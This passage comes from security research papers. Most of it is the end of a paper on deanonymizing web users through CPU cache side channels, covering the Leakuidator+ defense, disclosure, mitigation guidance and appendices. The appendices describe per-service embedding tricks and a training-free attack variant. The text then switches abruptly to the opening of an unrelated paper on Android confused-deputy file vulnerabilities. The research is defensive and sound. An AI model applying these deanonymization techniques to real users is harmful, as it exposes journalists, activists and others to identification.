to Req∗, the second request initiated by Leakuidator). In
particular, we noticed that the server takes a different time
to respond, if a user is allowed or not to access the shared
resource. This timing side channel was originally used by
Watanabe et al. to launch deanonymization attacks on several
popular services using XS-leaks [8, 9]. In our case, even
though Resp∗ is not forwarded to the browser, and therefore
not available to an attacker using XS-leaks, the mere fact
that it is processed by the browser’s extension framework is
enough to cause an exploitable side-channel difference.

Second, we discovered a client side channel in the extension
itself. The extension performs various operations on Req and
Resp, including recording header names and values, using
them to prepare Req∗, and finally comparing the fields of
Resp∗ and Resp. Thus, the extension itself amplified the

differences between the target and non-target user states,
resulting in observable differences.

To mitigate the server side channel, Leakuidator+ adds
a small random delay td before sending the second request,
Req∗. This delay also randomizes the arrival time of the
server response Resp∗, making it impractical for an attacker to
perform an attack based on this signal. Since the largest value
we observed for the timing side channel was on the order of
100 ms, we chose td uniformly between 0 and 1 second. We
note that since Resp∗ is not sent to the browser for rendering,
the only user-noticeable side-effect of this added delay is a
slightly delayed notification in the browser toolbar.

To mitigate the client side channel, Leakuidator+ mini-
mizes the operations performed while analyzing the request
and response headers, limiting itself to only inspect and record
the headers that are strictly necessary. Instead of recording
and using the headers from Req, Leakuidator+ relies on the
browser to prepare Req∗ headers. Also, Leakuidator+ only
records the Resp headers used for comparison with Resp∗,
instead of recording all Resp headers.

Preserving legitimate functionality. It is natural to analyze
the impact of our defense on legitimate website functionality.
We note that Leakuidator+ is built on top of Leakuidator,
which was designed to preserve functionality such as user
tracking and analytics. In legitimate scenarios such as third-
party authentication requests, Leakuidator+ notifies the user
about the request, requiring them to interact with the extension
and complete the process after marking the request as safe.

Extending support to additional browsers. The original
Leakuidator extension was only usable on Google Chrome
and other Chromium-based browsers such as Microsoft Edge,
Brave, Opera and Yandex. Since additional browsers now
support the same WebExtension API offered by Chrome, we
ported the extension to the Firefox and Tor browsers as well.

Evaluation. We performed a comprehensive set of exper-
iments to validate Leakuidator+’s effectiveness. As summa-
rized in Table 1, when Leakuidator+ is enabled, the attack
accuracy becomes equivalent to that of a random guess. Our
countermeasure was able to prevent the attacks we discovered
on multiple websites, multiple browsers, and multiple hard-
ware microarchitectures, all while remaining compatible with
existing uses for cookies in navigation, tracking and analytics.

We also evaluated Leakuidator+’s effectiveness against
attacks targeting a group of users. Table 2 shows the attack’s
accuracy drops near the baseline level of 12.5%, which is
equivalent to a random guess for the considered 8-state setup.
Leakuidator [3] was shown to incur a small perfor-

mance overhead, thus minimally impacting user experience.
Leakuidator+ does not make changes that would signifi-
cantly affect those overheads, including load time, number
of requests, and data transferred.

Security Analysis. Leakuidator+ provides by design pro-
tection against the main known XS-leak types, such as those
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described in Sec. 2.1. We have also shown experimentally that
the defense renders cache-based attacks impractical.

Recently, Knittel et al. [4] introduced a formal model for
XS-leaks, building on work of Sudhodanan et al. [2]. The
authors systematically search for XS-leaks and find 14 new
attack types grouped in four categories. In the remainder
of this section, we describe how Leakuidator+ protects
against these. Although our analysis does not necessarily
guarantee protection against new unknown XS-leaks, we view
it as compelling evidence that Leakuidator+ is an effective
defense mechanism against targeted deanonymization attacks.

Leak Technique: Global Limits exploits browser limits. The
limit on number of WebSocket connections allows an attacker
to differentiate user states by detecting a webpage’s number
of WebSocket connections [32]. Leakuidator+ removes
cookies from the initial GET request, resulting in same number
of connections in different user states. The response to the
HEAD request initiated by Leakuidator+ is not rendered by
the browser, thus no connections are established.

The limit on the number of UI elements for the Payment
API allows an advertiser to learn whether a user attempted to
purchase an advertised item after clicking on an affiliate link,
and is not a deanonymization attack.

Leak Technique: Performance API allows an attacker to dif-
ferentiate user states by inspecting the browser’s Performance
entries. It was previously used to detect the X-Frame-Options
header in Google Chrome [33]. When Leakuidator+
is enabled, Resp has same effect on these entries in both
target and non-target states. To eliminate any potential leak
that could arise from Performance entries related to Resp∗,
Leakuidator+ removes these entries when Resp∗ arrives.

Leak Technique: Error Messages allow an attacker to learn
the target of a redirect. In Webkit-based browsers, primarily
Safari, if a CORS-enabled request fails, it is possible to access
CORS error messages, including the full URL of the redirect
target; in addition, the Subresource Integrity error message
can leak the response size. These XS-leaks could possibly
be used for targeted deanonymization if the errors rely on
authentication cookies sent along with cross-site requests.
However, Safari blocks third-party cookies by default.

Leak Technique: Readable Attributes. Web apps can use
the Cross-Origin Opener Policy (COOP) to prevent other
websites from gaining arbitrary window references to the
application, e.g., through pop-up windows. Reading the
value of the contentWindow attribute may allow an attacker
to learn if COOP is enabled and thus potentially differentiate
between user states. Leakuidator+ protects against this by
applying the defense to groups of related tabs/windows that
have different top-level domains.

6 Related Work

XS-leaks usually exploit cross-site information in a binary
form: questions with YES or NO answers, where the response
is visible to the attacker. xsleaks.dev is a community-driven

website dedicated to collecting knowledge about APIs that
can be used for such cross-site leaks. These include window
references, frame counting, error events, navigation, response
cache probing, ID attribute, postMessage broadcasts, CORB
and CORP leaks, and timing attacks [1, 2, 23, 24, 34–55].

There has been academic effort to give a structure to XS-
leaks by classification. Recently, Knittel et al. [4] introduced
a formal model for XS-leaks, building on work of Sudhodanan
et al. [2], and systematically searched for new XS-leak attack
classes. On the defense side, they argue that if at least one
browser is immune to a certain leak technique, this technique
can be fixed in other browsers as well, by changing their
implementation. Our client-side defense, in contrast, does
not depend on browser vendors and website owners, and can
be used immediately. We observe that many of the defenses
proposed to mitigate XS-leaks were not designed to protect
against side channels. As our work shows, attacks based on
side channels bypass these software-imposed boundaries.

Targeted deanonymization is an example of privacy leakage
through XS-leaks [1, 3]. In response to XS-leaks, a number
of defense mechanisms were proposed, including response
cache protections, subresource protections, fetch metadata,
cross-origin opener and resource policies, framing protections,
SameSite cookies, isolation policies, cross-origin read
blocking, and the partitioned HTTP cache [13, 14, 22, 56–67].

Cache attacks were proposed simultaneously by Percival
and by Osvik et al. [16, 68], and first demonstrated on the
last-level cache by Liu et al. [17]. Oren et al. presented a
JavaScript implementation of the last-level cache attack [69],
and Shusterman et al. presented the cache occupancy and
sweep counting variants, which can be run in more restricted
browser environments [6, 70]. Several works have explored
the use of micro-architectural side-channel attacks for attacks
on privacy. Jana et al. introduced the memory footprint side
channel, and showed how a malicious Android app can infer
fine-grained web-related information about a user, including
personal interests and login status [71]. Gülmezoglu et al.
showed how cache attacks can learn about running applications
in a cloud scenario [72]. Gülmezoglu et al. also showed how
a native Android app can use the cache to discover running
applications, website activity and even which videos the
victim was streaming [5]. To the best of our knowledge, we
are the first to introduce targeted deanonymization on the web
using the CPU cache side channel.

Many works have tried using different side-channel attack
methods to infer browsing activity, including power consump-
tion, GPU leaks, data statistics, performance counters, and
event loops [46, 73–80]. In contrast with the deanonymization
scenario, in which the attacker actively induces the victim to
load a resource, most of these works assume that the attacker
passively observes the victim. It is interesting to consider
how these additional methods could be applied to targeted
deanonymization, but we believe our defense should be
effective regardless of the method used by the attacker.
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7 Ethics, Disclosure and Guidance

The deanonymization attacks described in this paper are
both practical and dangerous, and can impact the privacy
of journalists, activists, and other vulnerable populations.
While we provide a browser extension that serves as a
countermeasure against these attacks, and experimentally
verify its effectiveness, there are several scenarios in which this
countermeasure is impossible to deploy. Most significantly,
the current implementation of the WebExtension API on
Apple’s Safari browser is not compatible with our extension,
and the official mobile version of Chrome provided by Google
does not support extensions at all. Users of these browsers
will thus be unable to defend themselves against the attacks
described in this paper, until content sharing sites make
non-trivial changes to the way they allow content to be shared.

It is our ethical responsibility to minimize the risk to these
users. We have opened bug reports with browser vendors
(Chromium [81], Firefox [82], Edge, Safari, WebKit, the Tor
Project), and are sharing a draft of this paper with affected
services including Google, Twitter, Meta, Microsoft, TikTok,
Reddit, and Apple. We also consider journalists and activists
part of the disclosure process, and have reached out to the or-
ganizations who advocate for them through the EFF. Until the
responsible disclosure process concludes, we plan to embargo
the results. Our countermeasure is already available in the
Chrome and Firefox extension stores, and can be immediately
installed even before the attacks are publicized. When the
disclosure process is over, we plan to publicize an easy-to-
understand description of the attack and how to mitigate it,
and to work with relevant stakeholders to make sure potential
victims know how to protect themselves. Below we provide
additional advice on ways to limit the attack’s effectiveness.

The attack works on websites even when using VPN,
since it targets the browser’s rendering process and not the
network stack. The attack will not work on websites opened
in incognito mode, unless the user explicitly logs in to the
website from the incognito session.

Guidance to Website Owners. As discussed in section 5.2,
there are two main causes for differences in the observed side-
channel leakages between targeted and non-targeted users – a
server-side timing difference and a client-side rendering dif-
ference. These differences can be mitigated through careful
design by website owners. As a positive example, we note that
Apple’s iCloud service applies most of these design principles,
and, as a result, we were not able to attack it using our technique.
Web servers typically have an authorization module, which
checks if a user is allowed to access a resource, followed by a
content delivery module, which actually makes the resource
available to the client. If an authorized user loads the resource,
both authorization and content delivery modules need to run.
For non-authorized users, on the other hand, content delivery
is not invoked at all, resulting in a faster response time which
can be observed. While we measured this faster response time

using a cache side channel, any other side channel that can
monitor traffic can also detect this difference, for example
the congestion-based method used by Schuster et al. [83].
To mitigate the timing side channel, web servers should thus
be designed to return their responses in constant time, re-
gardless of the authorization status of the user. To mitigate
client-side rendering side channels, web servers should make
their error pages as similar as possible to their content
pages. This will make it more difficult for a side-channel at-
tacker to distinguish between the two. As an example, if an au-
thorized user was going to be shown a video, the error page for
the non-targeted user should also be made to show a video. In
general, website owners should minimize any kind of attacker-
observable difference in responses they send between the two
states. In addition, websites should require user interaction
before rendering content: The scalable attack we showed on
Tor, as well as several of the video-based attacks, relied on the
fact that browsers automatically play shared videos, even if
they are loaded in a background page. The added cache activity
resulting from this video playback makes it very easy for the
classifier to tell apart users. To prevent this, website owners can
make sure that videos shared with only a subset of users require
some sort of user interaction before they are played. In general,
if there are any operations which cause an unavoidable differ-
ence in cache activity (for example playing a video or decom-
pressing a file), we recommend that the website first asks the
user to confirm this activity. Websites should also consider re-
placing blocking with “shadow-banning”. Blocking public
content from a particular user is arguably an exercise in incon-
venience – all the blocked user needs to do to access this con-
tent is simply open a private browsing window. The shadow-
banning technique applies a different approach to blocking. A
shadow-banned user is apparently able to interact with the web-
site, including viewing content, creating posts and posting com-
ments. All of the user’s comments and posts, however, are in-
visible to other users. In this approach, the public posts of users
are always accessible to other users, including those whom
they ban. As a result, it is not possible to use selective shadow-
banning to apply targeted deanonymization. On the other hand,
since other users are not exposed to the shadow-banned user’s
content, the website operators can achieve their goal of con-
trolling the discourse on the website. Finally, websites should
notify users upon sharing or blocking. Google Drive and
other sharing websites allow content to be shared without no-
tifying the recipient. Similarly, many sites do not provide any
way for a user to know when, or by whom, they are blocked.
This behavior increases the risk of the attacks we described,
since the target user has no way of knowing he or she is targeted.
To reduce this risk, website owners should always notify users
when they have content shared with them, or when they are
blocked by another user. To minimize cognitive and emotional
discomfort, websites can consider how to selectively suppress
some of these notifications without sacrificing security.

Guidance to Browser Vendors. The browser serves as host
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both for the attacker and for the victim. A browser which
can isolate the cache activity of the victim from the spying
eyes of the attacker, or which can prevent the attacker’s code
from performing cache occupancy measurements, would
be the ideal countermeasure. This is, unfortunately, a task
which may be impossible to carry out without redesigning
the browser, the operating system or even the CPU [84]. Even
before this protected browser becomes available, several
engineering fixes to current browsers can raise the bar for
the attackers. First, browsers should consider pop-unders
as a security threat. Pop-under windows and tabs are truly
annoying. Advertisers are always looking for new methods
for launching these pop-unders, and browser vendors are
constantly tweaking the browser’s window management logic
to prevent them [25, 26]. Going forward from the results in
this work, we argue that browser vendors should no longer
consider pop-unders as a mere annoyance, but instead consider
them as security risks. This includes both actively blocking
this browsing pattern, and applying cross-site protections to
content loaded into pop-ups. Browser vendors should also
allow browser extensions to modify request headers. The
defense we presented works by carefully processing the header
fields of the requests sent out by the browser – inspecting fields
in the request headers, comparing two responses to search for
privacy leaks, and ultimately changing or removing fields –
removing cookie headers from requests and set-cookie headers
from responses. All of these stateful processing steps are made
possible by an extension API named webRequestBlocking,
which allows extensions to intercept, block, or modify
requests in-flight. Unfortunately, Google has announced that
this API is being phased out [85]. Firefox did not currently
announce plans to remove support for webRequestBlocking,
and the Safari extension API does not support it at all. The
API designed to replace webRequestBlocking, named
declarativeNetRequest, may be appropriate for list-based
ad blockers, but is not usable for our browser extension. Our
work shows the importance of allowing browser extensions to
statefully intercept and modify web requests. We urge browser
vendors to keep the webRequestBlocking option available
for extensions, and urge vendors who do not currently support
it to make this feature a priority.

Guidance to Standards Bodies. The WWW specification
already includes a set of standards designed to isolate web
content from malicious third parties. These include resource
policies, opener policies, cookie isolation, and similar
defenses. Common to all of these defenses is the assumption
that two pages programmatically isolated from each other are
not able to interact. The attacks presented in this work show
that this assumption must be reconsidered. In particular, the
cross-origin read blocking (CORB) feature was already shown
to be less effective in the presence of side channels [52]. We
suggest that the CORB feature be extended to pop-under and
tab-under contexts, similar to the way in which we extended
Leakuidator: Any web page opened by another web page

should also be subjected to CORB restrictions, even if it is
opened in a separate window.
Guidance to Users. Users who are at increased risk of being
targeted online, such as journalists, activists, and religious
leaders, are already instructed to be more careful online
than other users, for instance when opening attachments,
responding to friend requests, clicking on unknown links,
and so on. We provide here some guidance specific to the
cache-based targeted deanonymization attack, and will be
cooperating with advocacy groups to bring this guidance to the
knowledge of relevant users as part of the disclosure process.
The best suggestion we can provide is to install our browser
extension, Leakuidator+, which is already available
on both the Google Play Store and the Firefox Add-ons
website [10, 11]. As Sec. 5 describes in detail, the extension
protects against all of the attacks we described in the paper,
with a minimal impact on functionality and compatibility. It
should be noted that the current Android version of Chrome
does not support extensions. Firefox for Android, as well as
several third-party Android browsers based on the open-source
Chromium code (notably Kiwi and Yandex), do support
extensions, but testing the compatibility of our extension with
these browsers remains a task for future work. Users should
also avoid unnecessary logins. Websites such as GMail,
Twitter, Facebook and Instagram make it useful and convenient
to be constantly logged in. This behavior pattern is especially
enforced by Google, through their control over the browser,
the website, and in some cases the device itself. This behavior
also unfortunately increases the risk of deanonymization
attacks. To protect themselves, privacy-conscious users should
only log in to websites when they plan to actively use them,
and make sure to log out when they are done. It should be
noted that the Tor Browser keeps cookies stored in memory
as long as the browser is running – if a user opens GMail, and
then closes the tab, the Google cookie remains present on the
browser until the user manually logs out, deletes cookies or
quits the browser. Users should also consider using multiple
devices: The best way to prevent side-channel attacks is to
isolate the source from the receiver. A reasonable and practical
way to achieve this for sensitive users would be to invest in
multiple cheap devices, each dedicated to a single online
service. As a moderate alternative to above, users can use
multiple sessions in their browser, for example by using the
Multi-Account Containers add-on in Firefox, the Add Profile
feature in Edge, or the Multiple People feature in Chrome. Tor
Browser also has a (very prominent) “New Identity” button
that closes and reopens the browser with a click of a button.
An Alternative Defense Approach: A new potential
defense strategy against the popunder and tabunder attack
variants emerged from our discussions with the affected
services and the browser vendors. Instead of relying on users
to install a browser extension, a similar functionality can
be achieved by dividing the responsibility for detecting and
reacting to potentially suspicious requests between browser

1518    31st USENIX Security Symposium USENIX Association



vendors and sharing service operators: The browser provides
additional information about the context in which a request
is made (through the request headers), and the sharing service
uses this information to decide how to respond to potentially
suspicious requests. We initiated a proposal to extend the
W3C standard for fetch metadata HTTP request headers [86].

8 Concluding Remarks

In this paper, we have introduced novel attack techniques for
targeted deanonymization on the web, which can uniquely
identify a target user when leaky resources are rendered in the
user’s browser. The attacks leverage CPU cache side channels
to bypass software-imposed boundaries and are shown to be
effective across multiple architectures. Our work reveals that
the attack surface for targeted deanonymization attacks is dras-
tically larger than previously considered. We experimentally
show that several popular resource sharing services can be
leveraged to conduct the attack. When considering together
the collection of users of these services, we conclude that a
large majority of Internet users are vulnerable.

To defend against this threat, we provide a comprehensive
countermeasure against all of the attacks we discovered.
Leakuidator+ is a client-side defense that can be deployed
right away as a browser extension, without depending on
browser vendors and website owners. We also provide
guidance to websites and browser vendors, as well as to
individuals who are unable to install our browser extension.

Future Work. Targeted deanonymization via the cache side
channel is a powerful attack mechanism. Whereas we showed
multiple avenues that are readily available to attackers, it
would be desirable to further improve the protection landscape.
As future work, we plan to further explore and improve
usability aspects of the proposed Leakuidator+ defense. In
addition, we believe it is crucial to work with browser vendors
and standards bodies to explore comprehensive mechanisms
that can start addressing the fundamental underlying causes of
cache side channel-based targeted deanonymization attacks.

Artifact Availability. We provide a dataset of cache traces for
single and multi-target attacks, together with a Google Colab
document showing how to use classifiers on these datasets,
as well as sample attack pages for the <iframe>, pop-under
and tab-under embedding methods. In addition, we provide
an online-only attack page (as described in Appendix C). The
artifact repository can be accessed using: git clone https:
//github.com/leakuidatorplusteam/artifacts.git.

The complete source code for Leakuidator+ is available
through the Firefox and Chrome extension stores [10, 11].
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A Additional Experimental Setup Details

In this section, we provide additional details about our
experimental setup. Table 4 provides details about the five
system configurations we used in the experiments.

Machine Learning Classifier Parameters. The LSTM
neural network model was used with the hyper-parameters
described in Table 5. The logistic regression classifier was
used with 1000 max iterations.

B Embedding Details For Various Services

In this section, we provide details about the method used
to embed leaky resources for each sharing service. The
embedding methods are based on specific SD-URLs we
identified for these services.

In Chrome, we used the <iframe> embedding method for
YouTube, LinkedIn and TikTok, and the tab-under method for
Facebook, Instagram, Reddit and Twitter. In Safari, we used
the pop-under method, whereas in Tor we used the tab-under
method.
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System Device OS CPU Browser Measurement Method

Win-Chrome Dell Latitude Windows 10 Pro 20H2 Intel Core i7 7820HQ Chrome 96.0 C, 8MB, 2ms
Win-Tor Dell Latitude Windows 10 Pro 20H2 Intel Core i7 7820HQ Tor 11.0.1 S, 8MB, 100ms
Mac-Intel-Safari MacBook Pro macOS Catalina 10.15.7 Intel Core i7 3540M Safari 15.0 C, 4MB, 2ms
Mac-M1-Chrome Mac mini macOS Big Sur 11.4 Apple M1 8-Core Chrome 96.0 S, 4MB, 10ms
Android-Chrome Samsung Android 11, One UI 3.1 Qualcomm SM8350 Chrome Android 92.0 S, 4MB, 10ms

Galaxy S21 5G

Table 4: System configurations used for the attacks. The “Measurement Method” column describes the setup used for cache
measurements, in the format (Method, Buffer size, Interval). “Method” denotes the cache measurement method used: C for Cache
Occupancy, S for Sweep Counting. “Interval” is related to the accuracy of the time measurement API, which is determined by
the combination browser/device. For Cache Occupancy, “Interval” denotes the time between consecutive cache measurements.
For Sweep Counting, “Interval” denotes the time needed to take one cache measurement.

Hyperparameter Value

Optimizer Adam
Learning rate 0.001
Batch size 128
Training Epoch early stop by validation

accuracy
Input units vector size of the input
Convolution layers 1
Convolution activation relu
Convolution kernels 256
Convolution kernel size 32
Pool size 4
LSTM activation tanh
LSTM units 32
Dropout 0.7

Table 5: Hyper-parameters for neural network classifier.

For all the services tested, except for Reddit, the leaky
resource was a video, because it causes cache activity over
an extended period of time. In some cases, the video does not
auto-play, but the video player loads a preview of the video
that generates sufficient cache activity.

Additional details for the individual sharing websites is
provided below.

YouTube. The SD-URL for the leaky resource points to a
video player playing a video. The attack uses the private
sharing-based approach. YouTube complies with cookies
from both cross-site and same-site requests. As a result, we
use the <iframe> embedding method for the Chrome browser:
When the private resource is shared with the victim, the
video is loaded in the embedded YouTube player; when the
private resource is not shared with the victim, the video is not
loaded in the embedded YouTube player. In the Safari and Tor
browsers, cookies are disabled for cross-site requests, so an
embedding method should be used that allows sending cookies
as first party along with the requests. As a result, in the Safari
browser we used the pop-under embedding method, whereas
in the Tor browser we used the tab-under embedding method.

LinkedIn and TikTok. The SD-URL for the leaky resource
points to a publicly shared post containing a video. The attack
uses the blocking-based approach. These services comply
with cookies from both cross-site and same-site requests.
As a result, we use the <iframe> embedding method for
the Chrome browser: If the account holder of the publicly
shared post (the attacker) blocks the victim account, then
the post does not load in the victim’s Chrome browser; if
the victim is not blocked, the post is loaded in the victim’s
Chrome browser. In the Safari and Tor browsers cookies are
disabled for cross-site requests, hence we use the pop-under
and tab-under embedding methods, respectively.

Twitter, Instagram and Facebook. The SD-URL for the
leaky resource points to a publicly shared post containing a
video. The attack uses the blocking-based approach. These
services ignore cookies from cross-site requests. For example,
consider a post embedded cross-site using an <iframe>: If
the post is public, it is loaded in the browser regardless of
user state; if the post is private, it is not loaded in the browser
regardless of the user state. Therefore, an embedding approach
is needed that attaches the cookies to the requests as first
party cookies. In the Safari browser, we used the pop-under
embedding method. In the Chrome and Tor browsers, we used
the tab-under embedding method.

Reddit. The SD-URL for the leaky resource points to a private
subreddit page. The attack uses the private sharing-based ap-
proach. The attacker creates a private subreddit and approves
the victim to the private subreddit. We were not able to embed
the subreddit page cross-site, so we used embedding methods
that make first party requests: The pop-under method for the
Safari browser and the tab-under method for the Chrome and
Tor browsers. Since Reddit does not allow posting of videos in
private subreddits, we modified the default layout of the private
subreddit so that it loads multiple images when displayed.

C An Online-Only Attack

The attacks described in Section 4 implicitly assume that
the attacker has some prior information about the victim’s
system configuration. This prior information lets the attacker
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Win-Chrome Win-Tor Mac-Intel-Safari Mac-M1-Chrome
Accuracy (%) Accuracy (%) Accuracy (%) Accuracy (%)

Service w/ MSE w/ FastDTW w/ MSE w/ FastDTW w/ MSE w/ FastDTW w/ MSE w/ FastDTW
Google 97 98 65 80 100 98 76 87
Twitter 76 82 71 74 98 98 63 71

LinkedIn 100 100 52 54 56 68 82 74
TikTok 67 69 78 82 68 80 67 82

Facebook 100 100 65 66 65 65 93 96
Instagram 60 71 61 66 63 81 54 67

Reddit 67 69 53 63 60 86 61 64

Table 6: Attack accuracy for the Online-Only attack simulation. MSE is mean squared error and FastDTW [87] is an approximate
dynamic time warping (DTW) algorithm that has a linear time and space complexity.

carry out an offline step, in which it trains a machine learning
classifier on a system similar to the victim’s. Although this
assumption is reasonable under our threat model, it is still
interesting to consider the case where the attacker does not
have the ability to prepare for the attack.

We now describe a variant of our attack which can be
carried out without a training step, at the cost of a longer online
attack time. In this setting, the attacker prepares three shared
resources, Rvictim, Rother and Rall . Rvictim is shared with the
victim, Rother is shared with a single user who is not the victim
(i.e., another attacker account), and Rall is shared publicly
with everyone.

The attack page loads the three shared resources one
after the other while taking cache measurements. Next,
the attacker uses a similarity metric, such as mean squared
error (MSE) or dynamic time warping distance (DTW), to
detect whether the trace collected for Rvictim is more similar
to the trace collected for Rother, or to the trace collected
for Rall . That is, if MSE(Trace(Rvictim), Trace(Rall)) <
MSE(Trace(Rvictim), Trace(Rother)), then the attacker
concludes that it is targeting the victim.

To experimentally validate this attack, we performed an
experiment in Chrome for Windows targeting the Google/Y-
ouTube cookie, using three YouTube videos loaded into
an <iframe> element. We collected 1 second side-channel
measurements for each of three videos, resulting in a total
attack time of 3 seconds. Then, we applied the MSE metric
to identify the presence of the victim. We repeated the
experiment 200 times, 100 for a victim user and 100 for a
non-victim user. An implementation of this online-only attack
can be found in the paper’s artifact repository. Our results
showed that all 100 predictions in the victim state were correct,
and 98 out of 100 predictions in non-victim state were correct,
resulting in an overall attack accuracy of 99%. We therefore
conclude that our attacks are feasible in some settings even
if the attacker cannot carry out a training step.

To see if this attack can be extended to other websites and
browsers, we simulated the online-only attack using traces
from our dataset. We did so by repeatedly selecting one pair

of target and non-target traces as references, then measuring
the distance between these reference traces and the subsequent
pair of target and non-target traces from the same dataset. We
discovered that while the simulated online-only attack was ef-
fective in many settings, including Google, LinkedIn and Face-
book on Win-Chrome, Google and Twitter on Mac-Intel-Safari,
and Facebook on Mac-M1-Chrome, it was far less effective
than the classifier-based method in several settings, including
TikTok, Instagram and Reddit on Win-Chrome, LinkedIn and
Facebook on Mac-Intel-Safari, Twitter, Instagram and Reddit
on Mac-M1-Chrome, and most of the services on Win-Tor.
A table listing the full accuracy results for this simulated
experiment can be found in Table 6. Note that an online-only
attack beyond simulation is limited to the settings where it is
possible to load multiple resources through the attack page.
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Abstract
The security of the Android platform benefits greatly from
a privileged middleware that provides indirect access to pro-
tected resources. This architecture is further enhanced by priv-
ilege separating functionality into many different services and
carefully tuning file access control policy to mitigate the im-
pact of software vulnerabilities. However, these services can
become confused deputies if they improperly re-delegate file
access to third-party applications through remote procedure
call (RPC) interfaces. In this paper, we propose a static pro-
gram analysis tool called FRED, which identifies a mapping
between Java-based system service RPC interfaces and the
file paths opened within the Java and C/C++ portions of the
service. It then combines the Linux-layer file access control
policy with the Android-layer permission policy to identify
potential file re-delegation. We use FRED to analyze three
devices running Android 10 and identify 12 confused deputies
that are accessible from third-party applications. These vul-
nerabilities include five CVEs with moderate severity, demon-
strating the utility of semi-automated approaches to discover
subtle flaws in access control enforcement.

1 Introduction

Android is a dominant computing platform with more active
devices than Microsoft Windows [42]. It is well known for its
application-centric security model [4] where each application
is granted high-level permissions based on functional needs.
Prior work has deeply studied this permission model [14, 15,
48], how applications request permissions [8,35,41], and how
users approve them [17, 18].

Less discussed are the protected resources behind those
permissions. Android has a robust security architecture that
has evolved significantly over the past decade [33]. A key
attribute of Android’s security is a middleware framework
that is highly privilege-separated to mitigate the effects of
software vulnerabilities. Much of Android’s core function-
ality is broken into separate service components and system

daemons. This framework provides an abstraction layer that
allows third-party applications to safely and indirectly access
protected resources. For example, while Android devices have
a number of sockets in /dev for accessing GPS information,
the Unix file permissions only allow the Location Manager
Service to access the sockets directly. The Location Manager
Service provides a remote procedure call (RPC) interface for
lesser privileged applications to access location information.
It is at this interface where permissions are checked.

Research has begun to analyze the correctness of permis-
sion checks within the Android framework. Stowaway [19],
PScout [6], and Arcade [3] derive a mapping between APIs
for third-party applications and permissions. Kratos [38],
ACEDroid [2], and ACMiner [22] approximate correctness
using consistency. They use static program analysis of system
services to identify the different access control checks that
occur for each RPC entry point and then determine if specific
entry points are missing checks. ARF [23] builds on these
works by considering improper re-delegation between RPC
entry points. ARF found that Android’s RPC entry points
frequently call one another, and when the ambient authority
of the execution changes (e.g., crossing between processes),
confused deputy vulnerabilities can result. Our work extends
these prior works by considering sensitive files that can be
accessed indirectly through system services.

In this paper, we propose a tool called FRED, which per-
forms a static program analysis of the Java-based system
services in the Android framework to identify a mapping be-
tween RPC entry points (i.e., deputies) and concrete file paths
that may be accessed when the RPC is invoked. Our static
program analysis includes both the Java and C/C++ code for
these system services. We then combine the Linux-layer Unix
file permissions with the Android-layer permission check pol-
icy to identify when file access is re-delegated to third-party
applications. By manually studying these file re-delegations,
we are able to identify confused deputy vulnerabilities.

We applied FRED to three devices running Android 10: an
AOSP Pixel 3a, a Google Pixel 3a, and a Samsung Galaxy
S20. We found 12 confused deputies that allow third-party
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applications to modify or read information from files or direc-
tories with a system UID or GID. These 12 deputies include
three CVEs assigned moderate severity by Google and two
CVEs assigned moderate severity by Samsung. The other
seven deputies represent minor security issues.

We make the following contributions in this paper:

• We design FRED, which uses static program analysis
to identify security-sensitive file paths accessed by the
RPC entry points of Android’s Java-based system ser-
vices. FRED identified 23 RPC entry points of the total
6287 RPC entry points in AOSP 10.0.0 potentially re-
relegating access to 51 files. The source code for FRED
is available at https://github.com/wspr-ncsu/fred.

• We use FRED to study file re-delegation vulnerabili-
ties in the Android framework. We identify 12 confused
deputy vulnerabilities which can be accessed by third-
party applications. Google and Samsung have assigned
five CVEs with moderate severity based on these vulner-
abilities.

We note that the vast majority of the RPC interfaces in
Android’s framework exist within the Java-portions of the
code base. For these RPC interfaces, FRED extends its data
flow and control flow analysis through the Java Native Inter-
face (JNI) bridge to capture file operations that occur within
C/C++ code. However, the Android framework also includes
a collection of system services written entirely in C/C++ (e.g.,
the Camera Service). FANS [30] recently performed fuzz
testing of these native system services, primarily looking for
memory safety vulnerabilities. We leave extending FRED to
entirely native system services to future work.

The remainder of this paper proceeds as follows. Section 2
provides background and a motivating example. Section 3
overviews FRED. Section 4 describes the design of FRED.
Section 5 evaluates FRED by applying it to three device
firmware images. Section 6 discusses limitations. Section 7
overviews related work. Section 8 concludes.

2 Background and Problem

The Android platform is built on Linux primitives, including
its traditional Unix-based system calls, file system, and ac-
cess control. However, unlike traditional Linux distributions,
Android provides an extensive application runtime environ-
ment that strongly controls software execution. Both Android
applications and most of the framework are built upon four
types of components: activities for user interfaces, broadcast
receivers for asynchronous communication, content providers
for data sharing, and services for daemon-like servers.

The framework primarily consists of service components,
which provide an abstraction layer for accessing sensitive re-
sources including system files and device nodes. Applications
make remote procedures calls (RPCs) to service entry points

1 boolean removeSharedAccountAsUser(Account ac, int userId) {
2 int uid = getCallingUid();
3 userId = handleIncomingUser(uid);
4 UserAccounts acs = getUserAccounts(userId);
5 boolean deleted = acs.accountsDb.deleteSharedAccount(ac);
6 if (deleted)
7 removeAccountInternal(acs, ac, uid);
8 return deleted;
9 }

Figure 1: The RPC entry point removeSharedAccountAsUse-
r in the AccountManagerService allows any app to remove
shared accounts the user does not manage.

using Android’s custom binder inter-process communication
(IPC) message passing system. Services then perform access
control checks on RPCs using conditional statements that con-
sider the Android permissions [15, 48] granted to the calling
application (usually at install-time). This abstraction layer
allows Android to significantly privilege separate functional-
ity into different services running as separate processes and
assign least-privilege access control policy to sensitive files
using traditional Unix permissions, user identities (UIDs),
and group identities (GIDs). Recent versions of Android also
use a version of SELinux designed for Android [40]. In a
small number of cases where using a framework abstraction
layer is not practical, the Android runtime will add GIDs to
applications based on the permissions they are granted. In
such cases, the application can access associated files directly.

In this model, Android’s system services act as privileged
deputies, which are expected to perform authorization checks
before accessing sensitive resources. Failing to perform
proper authorization checks at RPC entry points may result in
confused deputy vulnerabilities. ARF [23] identifies confused
deputy vulnerabilities that result when an RPC entry point
calls a different (privileged) RPC entry point. The authors
found that Android’s RPC entry points are highly intercon-
nected and that the calling identity often changes as the exe-
cution passes between RPC entry points. However, ARF does
not consider confused deputies where an RPC entry point
accesses a privileged file. Since file access is determined
based on the authority of the service’s process and not the
original calling application, confused deputy vulnerabilities
may result if proper checks are not made.

Figure 1 shows an example of a file-based confused deputy
vulnerability in Android discovered with FRED. The figure
shows the removeSharedAccountAsUser RPC entry point in
the AccountManagerService. In this context, an account is
an online service such as Facebook, Google, or Dropbox.
Accounts are created and managed by specific applications
and typically, aside from the system, only the applications
that create accounts can remove or modify them. A shared
account is an account that has been shared across multiple
users of the device. Traversing the call graph from acs.ac-

countsDB.deleteSharedAccount ten methods deep reveals a
